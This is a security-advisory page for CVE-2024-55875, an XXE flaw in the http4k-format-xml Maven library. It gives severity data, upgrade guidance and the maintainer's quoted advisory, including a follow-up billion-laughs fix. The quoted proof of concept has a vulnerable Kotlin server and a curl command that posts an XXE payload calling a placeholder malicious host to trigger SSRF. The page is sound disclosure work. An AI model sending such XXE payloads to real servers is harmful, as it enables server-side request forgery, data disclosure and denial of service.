Vulnerabilities in pkg:maven/org.http4k/http4k-format-xml

PACKAGE
Advisory Identifier: GHSA-7mj5-hjjj-8rgw
Advisory Summary

CVE-2024-55875 is a CRITICAL (CVSS 9.8) http4k has a potential xxe vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Http4k format xml libraries in the Maven ecosystem. The issue involves http4k has a potential xxe (xml external entity injection) vulnerability. Remediation is available by upgrading affected packages to version 6.50.0.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.http4k/http4k-format-xml

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.http4k/http4k-format-xml. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7mj5-hjjj-8rgw CVE-2024-55875 CRITICAL http4k has a potential XXE (XML External Entity Injection) vulnerability

CVE-2024-55875 at a Glance

CVE Identifier CVE-2024-55875
GHSA Identifier GHSA-7mj5-hjjj-8rgw
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Http4k format xml
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-55875

To remediate this vulnerability, upgrade all affected Http4k format xml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.http4k:http4k-format-xml fixed: 6.50.0.0
<dependency>
    <groupId>org.http4k</groupId>
    <artifactId>http4k-format-xml</artifactId>
    <version>6.50.0.0</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.http4k

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2024-55875, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.http4k

Analyze the terminal output to locate any version of Http4k format xml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.50.0.0), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.http4k command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Http4k format xml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ #### Example Vulnerable server code: ``` import org.http4k.core.* import org.http4k.format.Xml.xml import org.http4k.server.Netty import org.http4k.server.asServer import org.w3c.dom.Document fun main() { val xmlLens = Body.xml().toLens() // Create an HTTP handler val app: HttpHandler = { request -> try { // Parse the incoming XML payload to a Document object val xmlDocument: Document = xmlLens(request) // Extract root element name or other details from the XML val rootElementName = xmlDocument.documentElement.nodeName // Create a response XML based on the extracted information val responseXml = """ <response> <message>Root element is: $rootElementName</message> </response> """.trimIndent() // Respond with XML Response(Status.OK).body(responseXml).header("Content-Type", "application/xml") } catch (e: Exception) { // Handle invalid XML or other errors Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}") } } // Start the server val server = app.asServer(Netty(9000)).start() println("Server started on http://localhost:9000") } ``` #### Maven dependency: ``` <dependencies> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-test-junit5</artifactId> <version>1.9.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter-engine</artifactId> <version>5.10.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.jetbrains.kotlin</groupId> <artifactId>kotlin-stdlib</artifactId> <version>1.9.0</version> </dependency> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-core</artifactId> <version>5.40.0.0</version> </dependency> <!-- Http4k XML format --> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-format-xml</artifactId> <version>5.40.0.0</version> </dependency> <!-- http4k Netty --> <dependency> <groupId>org.http4k</groupId> <artifactId>http4k-server-netty</artifactId> <version>5.40.0.0</version> </dependency> </dependencies> ``` #### Exploit payload example to trigger SSRF `curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"` ### Impact _What kind of vulnerability is it? Who is impacted?_ The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability ### Follow-up patch — v6.50.0.0 (May 2026) The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=""`, `ACCESS_EXTERNAL_SCHEMA=""`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`. A residual gap remained: the parser still **accepted** documents containing `<!DOCTYPE>` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML. **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `<!DOCTYPE>` is now rejected at parse time. #### Follow-up affected & fixed versions | Version | Fixed Version | |---------|---------------| | `>= 5.41.0.0, < 6.50.0.0` | **6.50.0.0** | v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it. #### Follow-up timeline | Date/time (UTC) | Notes | |-----------------|-------| | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `<!DOCTYPE>` rejection and billion-laughs payload rejection | | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |

CVE-2024-55875 Affected Http4k format xml Versions

1 component(s)
Fixed Versions:
6.50.0.0
Product / Package Ecosystem Affected Versions Fixed Version
org.http4k:http4k-format-xml
Maven
< 6.50.0.0
6.50.0.0

References

Frequently Asked Questions

What is CVE-2024-55875?
CVE-2024-55875 is a security vulnerability in Http4k format xml involving http4k has a potential XXE (XML External Entity Injection) vulnerability under CWE-918: Server-Side Request Forgery (SSRF).
Which Http4k format xml versions are affected?
Affected versions include releases prior to 6.50.0.0 across affected packages: org.http4k:http4k-format-xml.
What version fixes CVE-2024-55875?
Upgrading to 6.50.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is http4k-format-xml affected?
Yes, org.http4k:http4k-format-xml is affected in releases prior to 6.50.0.0. Upgrade your dependency to 6.50.0.0 or later.
What is the CVSS score of CVE-2024-55875?
CVE-2024-55875 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-55875?
CVE-2024-55875 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Maven dependencies for CVE-2024-55875?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.http4k'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7mj5-hjjj-8rgw",
  "modified" : "2026-06-09T10:42:52Z",
  "published" : "2024-12-12T19:22:01Z",
  "aliases" : [ "CVE-2024-55875" ],
  "summary" : "http4k has a potential XXE (XML External Entity Injection) vulnerability",
  "details" : "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request ->\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                <response>\n                    <message>Root element is: $rootElementName</message>\n                </response>\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n<dependencies>\n        <dependency>\n            <groupId>org.jetbrains.kotlin</groupId>\n            <artifactId>kotlin-test-junit5</artifactId>\n            <version>1.9.0</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-engine</artifactId>\n            <version>5.10.0</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.jetbrains.kotlin</groupId>\n            <artifactId>kotlin-stdlib</artifactId>\n            <version>1.9.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.http4k</groupId>\n            <artifactId>http4k-core</artifactId>\n            <version>5.40.0.0</version>\n        </dependency>\n\n        <!-- Http4k XML format -->\n        <dependency>\n            <groupId>org.http4k</groupId>\n            <artifactId>http4k-format-xml</artifactId>\n            <version>5.40.0.0</version>\n        </dependency>\n\n        <!-- http4k Netty -->\n        <dependency>\n            <groupId>org.http4k</groupId>\n            <artifactId>http4k-server-netty</artifactId>\n            <version>5.40.0.0</version>\n        </dependency>\n    </dependencies>\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\">]><root>&xxe;</root>\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch — v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `<!DOCTYPE>` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n  **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `<!DOCTYPE>` is now rejected at parse time.\n\n#### Follow-up affected & fixed versions\n\n  | Version | Fixed Version |\n  |---------|---------------|\n  | `>= 5.41.0.0, < 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n  | Date/time (UTC) | Notes |\n  |-----------------|-------|\n  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `<!DOCTYPE>` rejection and billion-laughs payload rejection |\n  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.http4k:http4k-format-xml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.50.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/http4k/http4k"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-611", "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-12T19:22:01Z",
    "nvd_published_at" : "2024-12-12T19:15:13Z"
  }
}